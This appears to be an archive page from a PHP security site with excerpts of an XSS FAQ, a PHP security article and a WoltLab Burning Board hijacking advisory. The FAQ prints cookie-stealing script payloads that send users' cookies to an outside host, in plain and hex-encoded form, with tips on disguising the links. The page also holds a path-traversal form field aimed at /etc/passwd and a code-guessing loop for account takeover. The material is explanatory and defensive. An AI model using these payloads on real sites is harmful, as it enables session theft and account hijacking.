Scripts Archives - PHP Advisory

The Cross Site Scripting FAQ

Introduction Websites today are more complex than ever, containing a lot of dynamic content making the experience for the user more enjoyable. Dynamic content is achieved through the use of web applications which can deliver different output to a user depending on their settings and needs. Dynamic websites have a threat that static websites don’t, called “Cross Site Scripting” (or XSS dubbed by other security professionals). Currently small informational tidbits about Cross Site Scripting holes exist but none really explain them to reactjs developers or administrators. This FAQ was written to provide a better understanding of this emerging threat, and to give guidance on detection and prevention. What is Cross Site Scripting? Cross site scripting (also known as XSS) occurs when reactjs developers gathers malicious data from a user. The data is usually gathered in the form of a hyperlink which contains malicious content within it. The user will most likely click on this link from another website, web board, email, or from an instant message. Usually the attacker will encode the malicious portion of the link to the site in HEX (or other encoding methods) so the request is less suspicious looking to the user when clicked on. After the data is collected by the web application, it creates an output page for the user containing the malicious data that was originally sent to it, but in a manner to make it appear as valid content from the website. What does XSS and CSS mean? Often people refer to Cross Site Scripting as CSS. There has been a lot of confusion with Cascading Style Sheets (CSS) and cross site scripting. Some security people refer to Cross Site Scripting as XSS. If you hear someone say “I found a XSS hole”, they are talking about Cross Site Scripting for certain. What are the threats of Cross Site Scripting? Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash to fool a user (Read below for further details), or gather data from them. Everything from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. New malicious uses are being found every day for XSS attacks. The post below by Brett Moore brings up a good point with regard to “Denial Of Service”, and potential “auto-attacking” of hosts if a user simply reads a post on a message board. What are some examples of cross site scripting attacks? One product with many XSS holes is the popular PHP program PHPnuke. This product is often targeted by attackers to probe for XSS holes because of its popularity. I have included a few links of advisories/reports that have been discovered and disclosed just from this product alone. Can you show me what XSS cookie theft looks like? Depending on the particular web application some of the variables and positioning of the injections may need to be adjusted. Keep in mind the following is a simple example of an attacker’s methodology. Step 1: Targeting After you have found an XSS hole in a web application on a website, check to see if it issues cookies. If any part of the website uses cookies, then it is possible to steal them from its users. Step 2: Testing Since XSS holes are different in how they are exploited, some testing will need to be done in order to make the output believable. By inserting code into the script, its output will be changed and the page may appear broken. (The end result is crucial and the attacker will have to do some touching up in the code to make the page appear normal.) Next you will need to insert some Javascript (or other client side scripting language) into the URL pointing to the part of the site which is vulnerable. Below I have provided a few links that are for public use when testing for XSS holes. These links below, when clicked on will send the users cookie to www.cgisecurity.com/cgi-bin/cookie.cgi and will display it. If you see a page displaying a cookie then session hijacking of the user’s account may be possible. Cookie theft Javascript Examples. A example of usage is below. ASCII Usage: http://host/a.php?variable=”><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi? ‘%20+document.cookie</script> Hex Usage: http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e NOTE: The request is first shown in ASCII, then in Hex for copy and paste purposes. 1. <script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie</script> HEX22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 2. <script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie</script> HEX3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 3. ><script&gtdocument.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie</script> HEX%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e These are the examples of “evil” Javascript we will be using. These Javascript examples gather the users cookie and then send a request to the cgisecurity.com website with the cookie in the query. My script on cgisecurity.com logs each request and each cookie. In simple terms it is doing the following: My cookie = user=zeno; id=021 My script = www.cgisecurity.com/cgi-bin/cookie.cgi It sends a request to my site that looks like this. GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for a space) This is a primitive but effective way of grabbing a user’s cookie. Logs of the use of this public script can be found at www.cgisecurity.com/articles/cookie-theft.log Step 3: XSS Execution Hand out your crafted url or use email or other related software to help launch it. Make sure that if you provide the URL to the user(through email, aim, or other means) that you at least HEX encode it. The code is obviously suspicious looking but a bunch of hex characters may fool a few people. In my example I only forward the user to cookie.cgi. A attacker with more time could do a few redirects and XSS combo’s to steal the user’s cookie, and return them to the website without noticing the cookie theft. Some email programs may execute the Javascript upon the opening of a message or if the Javascript is contained in a message attachment. Larger sites like Hotmail do allow Javascript inside attachments but they do special filtering to prevent cookie theft. Step 4: What to do with this data Once you have gotten the user to execute the XSS hole, the data is collected and sent to your

The Cross Site Scripting FAQ Read More »

On the Security of PHP

Scripts / Zaheer

Introduction PHP (PHP Hypertext Preprocessor) is a server-side scripting language that facilitates the creation of dynamic Web pages by embedding PHP-coded logic in HTML documents. It combines many of the finest features of Perl, C, and Java, and adds its own elements to the concoction to give Web programmers great flexibility and power in designing and implementing dynamic, content-oriented Web pages. As with any powerful tool however, there are certain risks and dangers associated with the use of PHP. This article aims to alert the reader of such subtle details of the language. By being aware of the risks and observing some simple secure programming rules, it is possible to significantly lower the risk of security compromises. In the following sections, we will identify a number of causes that commonly lead to violations of the security of PHP scripts and ultimately the systems on which these scripts are executing. We will then develop some guidelines for strengthening the security of PHP and for writing secure code. Web developers and system administrators should keep in mind, however, that these guidelines only identify some practices that can reduce the risk of security compromises. There isn’t a definite omnipotent solution to all security problems, and in fact, the very concept of a system that is in a fully secure state is rather ethereal. Instead, security should be viewed as an evolving process, requiring constant supervision. This article provides a basis for understanding the security issues related to PHP and gives a broad overview of the topic. Sources of Security Breaches PHP can be run as either a CGI application or as an integrated Web server module. Regardless of its mode of execution, the PHP interpreter has the potential to access virtually every part of the host — the file system, network interfaces, IPC, etc. Consequently, it has the potential to do (or be forced to do) a lot of damage. To prevent attacks from adversaries, the programmer needs to be aware of everything that can go wrong at any time during the program execution. This is a formidable task. Software gets very complicated very fast. Nevertheless, knowledge of the weaknesses of a system and the common modes of attack can go a long way toward increasing its security. This applies to PHP just as much as it applies to any other piece of software. Therefore, in this section we will examine various sources of potential security vulnerabilities in PHP scripts and will draw some generalized conclusions. We will use this information in a later section to develop a set of guidelines for secure PHP programming. Trusting User Input The most common and most severe security vulnerabilities in PHP scripts, and indeed in any Web application, are due to poorly validated user input. Many scripts use information that the user has provided in a Web form and process this information in various ways. If this user input is trusted blindly, the user has the potential to force unwanted behavior in the script and the hosting platform. To make things worse, PHP registers all kinds of external variables in the global namespace. Environment variables for example are simply accessible by their name from anywhere within a script. So you can just peek at $HOSTNAME and $PATH for such pieces of information. Field tag names submitted from GET or POST forms are also accessible in the same manner. There are several problems with this. First, there is really no way to ensure that those external variables contain authentic data that can be trusted. (The next section discusses this in greater detail.) Second, due to the habit of PHP to make everything globally available, no variable can be trusted anymore, whether external or internal. Indeed, imagine the following scenario: $tempfile = “12345.tmp”; // This initialization is required! … # do something with $tempfile here # and some form processing … unlink ($tempfile); Even if you handle $tempfile safely before unlinking it, the last statement is still very dangerous if you don’t initialize $tempfile at the beginning of your script. An attacker can craft his or her own form containing a field similar to: <input type=hidden name=”tempfile” value=”../../../etc/passwd”> PHP will insert the field name in the global namespace as $tempfile, thus this becomes the value of the variable. Because of this danger… ANY of your variables has the potential to have a user injected initial value. You can protect against this kind of attack by configuring PHP not to make external variables globally available. Or you can make sure that you ALWAYS initialize your variables before using them. Trusting Environment Variables When you type “ls” at the UNIX prompt, the shell goes through a list of directories looking for a program called “ls”. As soon as it finds it in some location, like /bin, for example, the shell executes the program and waits patiently for it to return. The list of directories in which the shell looks for the program is specified in an environment variable, usually $PATH. Similarly, when you include() or require() a file from a PHP script, the system will search for it in a specified list of directories; the environment variable $LD_LIBRARY_PATH specifies a path for dynamically loaded libraries, etc. The script does not have control over the content of environment variables at the moment it starts executing. An adversary can modify the path to point to a Trojan version of the program that is being called or the file that is being included. This is an easy way for attackers to get hostile code running on the system. Some sites restrict access to content based on the link from which the user arrived. They use the $HTTP_REFERER variable to determine this. But since the information comes from the browser, there is nothing to stop the user from assigning it an arbitrary value. Such forms of “authentication” are very unreliable. Even if the information does not come from the user, environment variables still cannot be trusted. On most Unix systems, the environment variables

On the Security of PHP Read More »

WoltLab Burning Board Hijacking

Scripts, Security / Zaheer

An authentication vulnerability was reported in the WoltLab Burning Board web forum software. A remote user may be able to hijack a newly registered user account. It is reported that WoltLab Burning Board (wBB) uses predictable or guessable temporary passwords when it creates a new user account. If another user has requested a new account but has not yet activated the registration, the user’s account may be hijacked. To determine how many users exist on the forum, a remote user can register for a new account. The remote user will receive a confirmation e-mail that contains the following type of URL to activate the account: http://forum.dom/forum/action.php?action=activation&userid=345&code=1563109322 In the above example, it is shown that any subsequent user will be assigned userid of 346 or higher. So, a remote user can attempt to guess the ‘code’ for any subsequent user. According to the report, the wBB software uses the date to seed a function that will generate only a limited number of codes (possibly 30 integer words). So, a remote user can feasibly conduct a brute force guessing attack to guess the proper code for a newly assigned user account. A demonstration exploit that will apparently generate all of the possible codes is provided: for($i=0; $i<60; $i++) { mt_srand($i); echo mt_rand().”<BR>”; } Solution: No solution was available at the time of this entry. More to read: Password Security and Storage

WoltLab Burning Board Hijacking Read More »